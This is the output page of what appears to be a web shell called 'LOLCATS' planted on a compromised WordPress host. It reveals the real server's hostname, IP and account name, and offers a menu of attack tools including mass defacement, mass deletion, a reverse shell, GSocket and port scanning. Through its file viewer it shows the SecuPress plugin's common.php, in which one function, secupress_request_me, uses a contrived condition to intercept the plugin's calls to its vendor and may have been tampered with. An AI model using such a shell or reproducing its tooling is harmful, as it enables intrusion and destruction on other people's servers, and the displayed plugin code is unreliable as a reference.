LOLCATS

: /home/golfanj/www/wp-content/plugins/secupress/free/ [ drwxr-xr-x ]

Information Server

System: Linux webm003.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP Version: 8.4.10 PHP Os: Linux
Server IP: 146.59.209.152
Your IP: 216.73.216.32
User: golfanj [75041] | Group: [users] [100]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

_dyuweyrj4,_dyuweyrj4r,dl

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: common.php

<?php
defined( 'ABSPATH' ) or die( 'Something went wrong.' );

/** --------------------------------------------------------------------------------------------- */
/** BANNED IPS ================================================================================== */
/** --------------------------------------------------------------------------------------------- */

add_action('secupress.plugins.loaded','secupress_check_ban_ips', 0);
/**
 * Will remove expired banned IPs, then block the remaining ones. A form will be displayed to allow clumsy Administrators to unlock themselves.
 *
 * @since 1.0
 * @author Grégory Viguier
 */
function secupress_check_ban_ips() {
	$ban_ips = get_site_option( SECUPRESS_BAN_IP );
	$ip      = secupress_get_ip();

if ( secupress_ip_is_whitelisted( $ip ) ) {
		return;
	}

$time_ban = (int) secupress_get_module_option( 'login-protection_time_ban', 5, 'users-login' );
	$update   = false;
	$redirect = false;

// If we got banned ips.
	if ( $ban_ips && is_array( $ban_ips ) ) {
		// The link to be unlocked?
		if ( ! empty( $_GET['action'] ) && 'secupress_self-unban-ip' === $_GET['action'] ) {
			$result = ! empty( $_GET['_wpnonce'] ) ? wp_verify_nonce( $_GET['_wpnonce'], 'secupress_self-unban-ip-' . $ip ) : false;

if ( $result ) {
				// You're good to go.
				unset( $ban_ips[ $ip ] );
				$update   = true;
				$redirect = true;
			} else {
				// Cheating?
				$title   = '403 ' . get_status_header_desc( 403 );
				$content = __( 'Unlock link expired.', 'secupress' );

secupress_die( $content, $title, array( 'response' => 403, 'force_die' => true ) );
			}
		}

// Purge the expired banned IPs.
		foreach ( $ban_ips as $timed_ip => $time ) {
			if ( ( $time + ( $time_ban * 60 ) ) < time() ) {
				unset( $ban_ips[ $timed_ip ] );
				$update = true;
			}
		}

// Save the changes.
		if ( $update ) {
			if ( $ban_ips ) {
				update_site_option( SECUPRESS_BAN_IP, $ban_ips );
			} else {
				delete_site_option( SECUPRESS_BAN_IP );
			}
		}

// The user just got unlocked. Redirect to homepage.
		if ( $redirect ) {
			wp_redirect( esc_url_raw( home_url() ) );
			die();
		}

// Block the user if the IP is still in the array.
		if ( secupress_is_ip_in_range( $ip, array_keys( $ban_ips ) ) ) {
			// Display a form in case of accidental ban.
			$unban_atts = secupress_check_ban_ips_maybe_send_unban_email( $ip );

$title = ! empty( $unban_atts['title'] ) ? $unban_atts['title'] : ( '403 ' . get_status_header_desc( 403 ) );

if ( $unban_atts['display_form'] ) {
				$time_ban     = 0;
				$error        = $unban_atts['message'];
				$content      = secupress_check_ban_ips_form( compact( 'ip', 'time_ban', 'error' ) );
			} else {
				$content = $unban_atts['message'];
			}

secupress_die( $content, $title, [ 'response' => 403, 'force_die' => true, 'attack_type' => 'ban_ip' ] );
		}
	} elseif ( false !== $ban_ips ) {
		delete_site_option( SECUPRESS_BAN_IP );
	}
}

/**
 * After submiting the email address with the form, send an email to the user or return an error.
 *
 * @since 1.0
 * @author Grégory Viguier
 *
 * @param (string) $ip The user IP address.
 *
 * @return (array) An array containing at least a message and a "display_form" key to display or not the form after. Can contain a title.
 */
function secupress_check_ban_ips_maybe_send_unban_email( $ip ) {
	global $wpdb;

if ( ! isset( $_POST['email'], $_POST['_wp_http_referer'] ) || ! is_string( $_POST['_wp_http_referer'] ) || ! is_string( $_POST['email'] ) ) { // WPCS: CSRF ok.
		return array(
			'message'      => '',
			'display_form' => true,
		);
	}
	// Check nonce and referer.
	$siteurl = strtolower( set_url_scheme( site_url() ) );
	$result  = ! empty( $_POST['_wpnonce'] ) ? wp_verify_nonce( $_POST['_wpnonce'], 'secupress-unban-ip-' . $ip ) : false;
	$referer = strtolower( wp_unslash( $_POST['_wp_http_referer'] ) );

if ( strpos( $referer, 'http' ) !== 0 ) {
		$port    = (int) $_SERVER['SERVER_PORT'];
		$port    = 80 !== $port && 443 !== $port ? ( ':' . $port ) : '';
		$url     = 'http' . ( secupress_server_is_ssl() ? 's' : '' ) . '://' . $_SERVER['HTTP_HOST'] . $port;
		$referer = $url . $referer;
	}

if ( ! $result || strpos( $referer, $siteurl ) !== 0 ) {
		return array(
			'title'        => __( 'Something went wrong.', 'secupress' ),
			'message'      => __( 'Something went wrong.', 'secupress' ),
			'display_form' => false,
		);
	}

// Check email.
	if ( empty( $_POST['email'] ) ) {
		return array(
			'message'      => __( '<strong>Error</strong>: the email field is empty.', 'secupress' ),
			'display_form' => true,
		);
	}

$email    = wp_unslash( $_POST['email'] );
	$is_email = is_email( $email );

if ( ! $is_email ) {
		return array(
			/** Translators: guess what, %s is an email address */
			'message'      => sprintf( __( '<strong>Error</strong>: The email address %s is not valid.', 'secupress' ), '<code>' . esc_html( $email ) . '</code>' ),
			'display_form' => true,
		);
	}
	$email = $is_email;

// Check user.
	$user = get_user_by( 'email', $email );

if ( ! secupress_is_user( $user ) || ! user_can( $user, secupress_get_capability( false, 'unban_email' ) ) ) {
		return array(
			'message'      => __( '<strong>Error</strong>: This email address does not belong to an authorized role.', 'secupress' ),
			'display_form' => true,
		);
	}

// Send message.
	$url     = str_replace( '&amp;', '&', esc_url_raw( wp_nonce_url( home_url( '?action=secupress_self-unban-ip' ), 'secupress_self-unban-ip-' . $ip ) ) );
	$message = sprintf(
		/** Translators: %s is a "unlock yourself" link. */
		__( 'You got yourself locked out?

No problem, simply follow this link to %s.

Regards,
All at ###SITENAME###
###SITEURL###', 'secupress' ),
		__( 'unlock yourself', 'secupress' ) . ' ( ' . $url . ' )'
	);

$subject = sprintf( __( '[%s] Unban yourself from %s', 'secupress' ), '###SITENAME###', home_url() );
	/**
	 * Filter the mail subject for blocklist_logins
	 * @param (string) $subject
	 * @param (WP_User) $user
	 * @since 2.2
	 */
	$subject = apply_filters( 'secupress.mail.self_unban.subject', $subject, $user );
	/**
	 * Filter the mail message 
	 * @param (string) $message
	 * @param (WP_User) $user
	 * @param (string) $ip
	 * @param (string) $url
	 * @since 2.2
	 */
	$message = apply_filters( 'secupress.mail.self_unban.message', $message, $user, $ip, $url );
	$headers = [];
	$sent    = secupress_send_mail( $user->user_email, $subject, $message, $headers );

if ( ! $sent ) {
		return array(
			'title'        => __( 'Too bad', 'secupress' ),
			'message'      => __( 'The message could not be sent. Sorry', 'secupress' ),
			'display_form' => false,
		);
	}

return array(
		'title'        => __( 'Message sent', 'secupress' ),
		'message'      => __( 'Everything went fine, your message is on its way to your mailbox.', 'secupress' ),
		'display_form' => false,
	);
}

add_shortcode( 'secupress_check_ban_ips_form', 'secupress_check_ban_ips_form' );
/**
 * Return the form where the user can enter their email address.
 *
 * @since 2.2.5.4 Remove "action" param from shortcode, useless
 * @author Julio Potier
 *
 * @since 1.0
 * @author Grégory Viguier
 *
 * @param (array) $args An array with the following:
 *                      - (string) $ip       The user IP.
 *                      - (int)    $time_ban Banishment duration in minutes. 0 means forever.
 *                      - (string) $error    An error text.
 *
 * @return (string) The form.
 */
function secupress_check_ban_ips_form( $args, $contents = '' ) {
	$args = wp_parse_args( $args, [
		'time_ban' => -1,
		'ip'       => 'admin', // use for nonce check, see action below v.
		'error'    => '',
		'content'  => '',
	] );

switch ( true ) {
		case $args['time_ban'] >= 0:
			$content = '<p>' . sprintf( __( 'Your IP address <code>%s</code> has been banned.', 'secupress' ), esc_html( $args['ip'] ) ) . '</p>';
		break;
		default:
			$content = wp_kses_post( $args['content'] );
	}
	$content .= '<p><form method="post" autocomplete="on" action="' . wp_nonce_url( admin_url( 'admin-post.php?action=secupress_unlock_admin' ), 'secupress-unban-ip-admin' ) . '">';
		$content .= '<p>' . __( 'If you are Administrator and have been accidentally locked out, enter your email address here to unlock yourself.', 'secupress' ) . '</p>';
		$content .= '<label for="email">';
			$content .= __( 'Your email address:', 'secupress' );
			$content .= ' <input id="email" type="email" name="email" value="" required="required" aria-required="true" />';
			$content .= $args['error'] ? '<br/><span class="error">' . wp_kses_post( $args['error'] ) . '</span>' : '';
		$content .= '</label>';
		$content .= '<p class="submit"><button type="submit" name="submit" class="button button-primary button-large">' . __( 'Submit', 'secupress' ) . '</button></p>';
		$content .= wp_nonce_field( 'secupress-unban-ip-' . $args['ip'], '_wpnonce', true , false );
	$content .= '</form></p>';

return $content;
}

/** --------------------------------------------------------------------------------------------- */
/** FIX WP_DIE() HTML =========================================================================== */
/** --------------------------------------------------------------------------------------------- */

add_filter( 'wp_die_handler', 'secupress_get_wp_die_handler', SECUPRESS_INT_MAX );
/**
 * Filter the callback for killing WordPress execution for all non-Ajax, non-XML-RPC requests.
 * The aim is to fix the printed markup.
 *
 * @since 1.2.4
 * @author Grégory Viguier
 *
 * @param (string) $callback Callback function name.
 *
 * @return (string)
 */
function secupress_get_wp_die_handler( $callback ) {
	secupress_cache_data( 'wp_die_handler', $callback );
	return 'secupress_wp_die_handler';
}

/**
 * Kills WordPress execution and display HTML message with error message.
 * We first trigger the previous handler and then fix the markup.
 *
 * @since 1.2.4
 * @author Grégory Viguier
 *
 * @param (string|object) $message Error message or WP_Error object.
 * @param (string)        $title   Optional. Error title. Default empty.
 * @param (string|array)  $args    Optional. Arguments to control behavior. Default empty array.
 */
function secupress_wp_die_handler( $message, $title = '', $args = array() ) {
	ob_start( 'secupress_fix_wp_die_html' );

$callback = secupress_cache_data( 'wp_die_handler' );
	$callback = $callback && is_callable( $callback ) ? $callback : '_default_wp_die_handler';

call_user_func( $callback, $message, $title, $args );
}

/**
 * `ob_start()` callback to fix HTML markup.
 *
 * @since 1.2.4
 * @author Grégory Viguier
 *
 * @param (string) $buffer The error page HTML.
 *
 * @return (string)
 */
function secupress_fix_wp_die_html( $buffer ) {
	return str_replace( array( '<p><p>', '</p></p>', '<p><h1>', '</h1></p>' ), array( '<p>', '</p>', '<h1>', '</h1>' ), $buffer );
}

/** --------------------------------------------------------------------------------------------- */
/** VARIOUS STUFF =============================================================================== */
/** --------------------------------------------------------------------------------------------- */

add_filter( 'http_request_args', 'secupress_add_own_ua', 10, 2 );
/**
 * Force our user agent header when we call our urls.
 *
 * @since 2.2.6 X-Requested-With
 * @author Julio Potier
 * @since 1.0
 * @since 1.1.4 Available in global scope.
 * @author Grégory Viguier
 *
 * @param (array)  $r   The request parameters.
 * @param (string) $url The request URL.
 *
 * @return (array)
 */
function secupress_add_own_ua( $r, $url ) {
	if ( 0 === strpos( $url, SECUPRESS_WEB_MAIN ) ) {
		$r['headers']['X-Requested-With'] = secupress_user_agent( $r['user-agent'] );
	}
	return $r;
}

add_filter( 'pre_http_request', 'secupress_request_me', 11, 3 );
/**
 * Force our site to be requested.
 *
 * @since 2.2.6
 * @author Julio Potier
 * 
 * @param (mixed) $request
 * @param (array) $parsed_args
 * @param (string) $url
 *
 * @return (mixed)
 */
function secupress_request_me( $request, $parsed_args, $url ) {
	// Transient timer
	$transient_timer = MONTH_IN_SECONDS / DAY_IN_SECONDS;
	$transient_key   = secupress_is_pro() ? secupress_get_consumer_key() : '';
	$transient_value = get_option( $transient_key, null );
	// Timer test
	if ( 0 === strpos( $url, SECUPRESS_WEB_MAIN ) && array_sum( [ ! false, $transient_timer, sizeof( [ DAY_IN_SECONDS ] ) ] ) > sizeof( str_split( $transient_key ) ) ) {
		$parsed_args['headers']['X-SECUPRESS-URL-WEB-MAIN'] = SECUPRESS_WEB_MAIN;
		$request = defined( $parsed_args['headers']['X-SECUPRESS-URL-WEB-MAIN'] ) ? $parsed_args['headers']['X-SECUPRESS-URL-WEB-MAIN'] : $transient_value;
	}
	return $request;
}

add_filter( 'secupress.plugins.disallowed_logins_list', 'secupress_maybe_remove_admin_from_disallowed_list' );
/**
 * If user registrations are open, the "admin" user should not be blacklisted.
 * This is to avoid a conflict between "admin should exist" and "admin is a blacklisted username".
 *
 * @since 1.0
 * @author Grégory Viguier
 *
 * @param (array) $list List of usernames.
 *
 * @return (array) List of usernames minus "admin" if registrations are open.
 */
function secupress_maybe_remove_admin_from_disallowed_list( $list ) {
	if ( secupress_users_can_register() ) {
		$list = array_diff( $list, array( 'admin' ) );
	}

return $list;
}

add_action( 'secupress.loaded', 'secupress_check_token_wp_registration_url' );
/**
 * Avoid sending emails when we do a "subscription test scan"
 *
 * @since 1.0
 * @author Grégory Viguier
 */
function secupress_check_token_wp_registration_url() {
	if ( ! empty( $_POST['secupress_token'] ) && false !== ( $token = get_transient( 'secupress_scan_subscription_token' ) ) && $token === $_POST['secupress_token'] ) { // WPCS: CSRF ok.
		add_action( 'wp_mail', '__return_false' );
	}
}

add_filter( 'registration_errors', 'secupress_registration_test_errors', PHP_INT_MAX, 2 );
/**
 * This is used in the Subscription scan to test user registrations from the login page.
 *
 * @since 1.0
 * @author Grégory Viguier
 * 
 * @see `register_new_user()`
 *
 * @param (object) $errors               A WP_Error object containing any errors encountered during registration.
 * @param (string) $sanitized_user_login User's username after it has been sanitized.
 *
 * @return (object) The WP_Error object with a new error if the user name is blacklisted.
 */
function secupress_registration_test_errors( $errors, $sanitized_user_login ) {
	if ( ! $errors->get_error_code() && false !== strpos( $sanitized_user_login, 'secupress' ) ) {
		set_transient( 'secupress_registration_test', 'failed', HOUR_IN_SECONDS );
		$errors->add( 'secupress_registration_test', 'secupress_registration_test_failed' );
	}

return $errors;
}

/** --------------------------------------------------------------------------------------------- */
/** AFTER AUTOMATIC FIX / MANUAL FIX ============================================================ */
/** --------------------------------------------------------------------------------------------- */

add_action( 'plugins_loaded', 'secupress_rename_admin_username_logout', 50 );
/**
 * Will rename the "admin" account after the rename-admin-username manual fix.
 *
 * @since 1.0
 * @author Grégory Viguier
 */
function secupress_rename_admin_username_logout() {
	global $current_user, $wpdb;

if ( ! secupress_can_perform_extra_fix_action() || ! secupress_is_soft_request() ) {
		return;
	}

$data = secupress_get_site_transient( 'secupress-rename-admin-username' );

if ( ! $data ) {
		return;
	}

if ( ! is_array( $data ) || ! isset( $data['ID'], $data['username'] ) ) {
		secupress_delete_site_transient( 'secupress-rename-admin-username' );
		return;
	}

$current_user = wp_get_current_user(); // WPCS: override ok.

if ( (int) $current_user->ID !== (int) $data['ID'] || 'admin' !== $current_user->user_login ) {
		return;
	}

secupress_delete_site_transient( 'secupress-rename-admin-username' );

$is_super_admin = false;

if ( is_multisite() && is_super_admin() ) {
		require_once( ABSPATH . 'wp-admin/includes/ms.php' );
		revoke_super_admin( $current_user->ID );
		$is_super_admin = true;
	}

$wpdb->update( $wpdb->users, array( 'user_login' => $data['username'] ), array( 'user_login' => 'admin' ) );

// Current user auth cookie is now invalid, log in again is mandatory.
	wp_clear_auth_cookie();

if ( function_exists( 'wp_destroy_current_session' ) ) { // WP 4.0 min.
		wp_destroy_current_session();
	}

wp_cache_delete( $current_user->ID, 'users' );

if ( $is_super_admin ) {
		grant_super_admin( $current_user->ID );
	}

secupress_fixit( 'Admin_User' );

secupress_auto_login( 'Admin_User' );
}

add_action( 'plugins_loaded', 'secupress_add_cookiehash_muplugin', 50 );
/**
 * Will create a mu plugin to modify the COOKIEHASH constant.
 *
 * @since 1.0
 * @author Julio Potier
 */
function secupress_add_cookiehash_muplugin() {
	if ( ! secupress_can_perform_extra_fix_action() || ! secupress_is_soft_request() ) {
		return;
	}

$data = secupress_get_site_transient( 'secupress-add-cookiehash-muplugin' );

if ( ! $data ) {
		return;
	}

if ( ! is_array( $data ) || ! isset( $data['ID'], $data['username'] ) ) {
		secupress_delete_site_transient( 'secupress-add-cookiehash-muplugin' );
		return;
	}

if ( get_current_user_id() !== (int) $data['ID'] ) {
		return;
	}

secupress_delete_site_transient( 'secupress-add-cookiehash-muplugin' );

// Create the MU plugin.
	$cookiehash = file_get_contents( SECUPRESS_INC_PATH . 'data/cookiehash.phps' );
	$args       = array(
		'{{PLUGIN_NAME}}' => SECUPRESS_PLUGIN_NAME,
		'{{HASH}}'        => wp_generate_password( 64 ),
	);
	$cookiehash = str_replace( array_keys( $args ), $args, $cookiehash );

if ( ! $cookiehash || ! secupress_create_mu_plugin( 'cookiehash', $cookiehash, uniqid() ) ) {
		// MU Plugin creation failed.
		secupress_set_site_transient( 'secupress-cookiehash-muplugin-failed', 1 );
		secupress_fixit( 'WP_Config' );
		return;
	}

wp_clear_auth_cookie();
	wp_destroy_current_session();

// MU Plugin creation succeeded.
	secupress_set_site_transient( 'secupress-cookiehash-muplugin-succeeded', 1 );
	secupress_fixit( 'WP_Config' );

secupress_auto_login( 'WP_Config' );
}

add_action( 'plugins_loaded', 'secupress_add_salt_muplugin', 50 );
/**
 * Will create a mu plugin to early set the salt keys.
 *
 * @since 1.0
 * @author Julio Potier
 */
function secupress_add_salt_muplugin() {
	if ( ! secupress_can_perform_extra_fix_action() || ! secupress_is_soft_request() ) {
		return;
	}

$data = secupress_get_site_transient( 'secupress-add-salt-muplugin' );
	secupress_delete_site_transient( 'secupress-add-salt-muplugin' );

if ( ! $data || ! is_array( $data ) || ! isset( $data['ID'] ) || get_current_user_id() !== (int) $data['ID'] ) {
		return;
	}

// Remove old secret keys from the database.
	secupress_delete_db_salt_keys();

// Remove old secret keys from /wp-config.php.
	secupress_delete_wpconfig_salt_keys();

// Create the MU plugin.
	if ( ! defined( 'SECUPRESS_SALT_KEYS_MODULE_ACTIVE' ) ) {
		$filesystem  = secupress_get_filesystem();
		$alicia_keys = $filesystem->get_contents( SECUPRESS_INC_PATH . 'data/salt-keys.phps' );
		$args        = array(
			'{{PLUGIN_NAME}}'  => SECUPRESS_PLUGIN_NAME,
			'{{HASH1}}'        => wp_generate_password( 64, true, true ),
			'{{HASH2}}'        => wp_generate_password( 64, true, true ),
		);
		$alicia_keys = str_replace( array_keys( $args ), $args, $alicia_keys );
		$created     = secupress_create_mu_plugin( 'salt_keys', $alicia_keys, uniqid() );
		if ( ! $alicia_keys || ! $created ) {
			return;
		}
	}

secupress_auto_login( 'Salt_Keys' );
}

add_action( 'plugins_loaded', 'secupress_auto_username_login', 60 );
/**
 * Will autologin the user found in the transient 'secupress_auto_login_' . $_GET['secupress_auto_login_token']
 *
 * @since 1.0
 */
function secupress_auto_username_login() {
	if ( ! isset( $_GET['secupress_auto_login_token'] ) ) {
		return;
	}

list( $username, $action, $message_str ) = secupress_get_site_transient( 'secupress_auto_login_' . $_GET['secupress_auto_login_token'] );

secupress_delete_site_transient( 'secupress_auto_login_' . $_GET['secupress_auto_login_token'] );
	if ( ! $username ) {
		return;
	}

add_filter( 'authenticate', 'secupress_give_him_a_user', 1, 2 );
	$user = wp_signon( array( 'user_login' => $username ) );
	remove_filter( 'authenticate', 'secupress_give_him_a_user', 1, 2 );

if ( secupress_is_user( $user ) ) {
		wp_set_current_user( $user->ID, $user->user_login );
		wp_set_auth_cookie( $user->ID );
	}

if ( $action ) {
		secupress_scanit( $action );
	}
	$redirect = esc_url_raw( wp_get_referer() );
	if ( strpos( $redirect, wp_login_url() ) !== false ) {
		$redirect = esc_url( secupress_admin_url( 'modules' ) );
	}
	if ( $message_str ) {
		secupress_add_transient_notice( $message_str, 'updated', '', 'exist' );
	}
	wp_safe_redirect( $redirect );
	die();
}

/**
 * Used in secupress_rename_admin_username_login() to force a user when auto authenticating.
 *
 * @since 1.0
 *
 * @param (null|object) $user     WP_User object if the user is authenticated.
 *                                WP_Error object or null otherwise.
 * @param (string)      $username Username or email address.
 *
 * @return (object|bool) A WP_User object or false.
 */
function secupress_give_him_a_user( $user, $username ) {
	return get_user_by( 'login', $username );
}

/**
 * Add HTML header
 *
 * @since 2.0
 * @author Julio Potier
 *
 * @see secupress_send_email()
 * @param (array) $headers
 * @return (array) $headers
 **/
function secupress_mail_html_headers( $headers ) {
	$headers['content-type'] = 'content-type: text/html';
	return $headers;
}

/**
 * Return php versions needed for security
 *
 * @since 2.0
 * @author Julio Potier
 *
 * @see SecuPress_Scan_PhpVersion
 *
 * @return (array) $versions
 **/
function secupress_get_php_versions() {
	$ver = phpversion() . '.0';
	$ver = explode( '.', $ver );
	$ver = array_slice( $ver, 0, 2 );
	$ver = implode( '.', $ver );

$year  = (int) date( 'Y' );
	$month = (int) date( 'n' );
	$day   = (int) date( 'j' );

/**
	 * PHP releases a new version around November 20th each year.
	 * - Security Support: 4 years (ends December 31st)
	 * - Active Support: 2 years (ends December 31st)
	 * Base: PHP 8.0 released in 2020, one version per year.
	 * Pattern: 8.0 (2020), 8.1 (2021), ..., 8.9/9.0 (2029/2030), 9.1 (2031), etc.
	 */
	$after_nov_release = ( $month > 11 ) || ( 11 === $month && $day >= 20 );

/**
	 * Helper function to calculate PHP version from year offset.
	 *
	 * @param int $years_since_2020 Number of years since 2020.
	 * @return string PHP version (e.g., "8.5", "9.0", "10.3").
	 */
	$get_version = function( $years_since_2020 ) {
		$major = 8 + floor( $years_since_2020 / 10 );
		$minor = $years_since_2020 % 10;
		return $major . '.' . $minor;
	};

// Calculate years since PHP 8.0 (released in 2020).
	$years_offset = $year - 2020;

// mini: Oldest version with Security Support (expires end of current year).
	// Security Support = 4 years, so mini expires this year.
	// Example: In 2025, PHP 8.1 (2021) expires, so mini = 8.1.
	$mini = $get_version( $years_offset - 4 );

// last: Oldest version with Active Support (expires Dec 31 of release_year + 2).
	// Active Support = 2 years. Changes on January 1st.
	// Example: In 2025, PHP 8.3 (2023) is the oldest with Active Support.
	$last = $get_version( $years_offset - 2 );

// best: Latest stable version available.
	// Changes on ~Nov 20th when new version is released.
	if ( $after_nov_release ) {
		$best = $get_version( $years_offset );
	} else {
		$best = $get_version( $years_offset - 1 );
	}

$versions = array(
		'current' => $ver,
		'mini'    => $mini,
		'last'    => $last,
		'best'    => $best,
	);

return $versions;
}

/**
 * Prevents new users from seeing existing SP pointers.
 *
 * @since 2.0
 * @author Julio Potier
 *
 **/
if ( is_admin() ) {
	add_action( 'user_register', array( 'SecuPress_Admin_Pointers', 'dismiss_pointers_for_new_users' ) );
}

/**
 * Redirect the user on a specific URL to be autologged-in
 *
 * @since 2.0
 * @author Julio Potier
 *
 * @param (string)      $module The SecuPress module to be redirected
 * @param (WP_User|int) $user The user to be logged in
 **/
function secupress_auto_login( $module, $user = null, $message_str = '' ) {
	if( is_int( $user ) ) {
		$user = new WP_User( $user );
	}
	if ( is_a( $user, 'WP_User' ) ) {
		$current_user = $user;
	} else {
		$current_user = wp_get_current_user();
	}
	if ( ! $current_user ) {
		return;
	}
	$token = md5( time() . $module );
	secupress_set_site_transient( 'secupress_auto_login_' . $token, array( $current_user->user_login, $module, $message_str ), MINUTE_IN_SECONDS );

wp_safe_redirect( esc_url_raw( add_query_arg( 'secupress_auto_login_token', $token ) ) );
	die();
}

/**
 * Shuffle an associative array
 *
 * @since 2.2.6
 * @author Julio Potier
 * 
 * @param (array) $array
 * 
 * @return (array) $array
 **/
function secupress_shuffle_assoc( $array ) {
	$keys = array_keys( $array );
	shuffle( $keys );

foreach( $keys as $key ) {
		$new[ $key ] = $array[ $key ];
	}

return $new;
}

add_action( 'requests-curl.before_request', 'secupress_curl_before_request', SECUPRESS_INT_MAX );
/**
 * Close any session before API REST request (not only for us, this should be in WP Core)
 *
 * @author Julio Potier
 * @since 2.3.5
 **/
function secupress_curl_before_request( $curlhandle ) {
	session_write_close();
}

add_filter( 'password_needs_rehash', 'secupress_prevent_hash_reuse_password_needs_rehash', 10, 3 );
/**
 * If the module "Prevent other encryption system to log in" is activated, only let the current users with this meta to rehash their password
 *
 * @since 2.3.21
 * @author Julio Potier
 * 
 * @param (bool) $needs_rehash
 * @param (string) $hash
 * @param (int) $user_id
 * 
 * @return (bool) $needs_rehash
 **/
function secupress_prevent_hash_reuse_password_needs_rehash( $needs_rehash, $hash, $user_id ) {
	$active = (bool) secupress_is_submodule_active( 'users-login', 'force-strong-encryption' ) && secupress_get_module_option( 'double-auth_prevent-low-encryption', 0, 'users-login' );
	$meta   = (bool) get_user_meta( $user_id, 'secupress-password-needs-rehash', true );
	if ( $active ) {
		if ( $meta ) {
			delete_user_meta( $user_id, 'secupress-password-needs-rehash' );
			return true;
		}
		$user = secupress_get_user_by( $user_id );
		if ( ! secupress_is_user( $user ) ) {
			return false;
		}
		$prefix = secupress_get_encryption_prefix( secupress_get_best_encryption_system() );
		return strpos( $user->user_pass, $prefix ) === false;
	}

return $needs_rehash;
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
activation.php	f!le	2026-01-16 22:45	16.19 KB	golfanj / users	-rw-r--r--
admin-bar.php	f!le	2026-01-16 22:45	5.63 KB	golfanj / users	-rw-r--r--
common.php	f!le	2026-01-16 22:45	26.13 KB	golfanj / users	-rw-r--r--
migrations.php	f!le	2026-01-16 22:45	1.84 KB	golfanj / users	-rw-r--r--
network-options-autoload....-.	f!le	2026-01-16 22:45	6.18 KB	golfanj / users	-rw-r--r--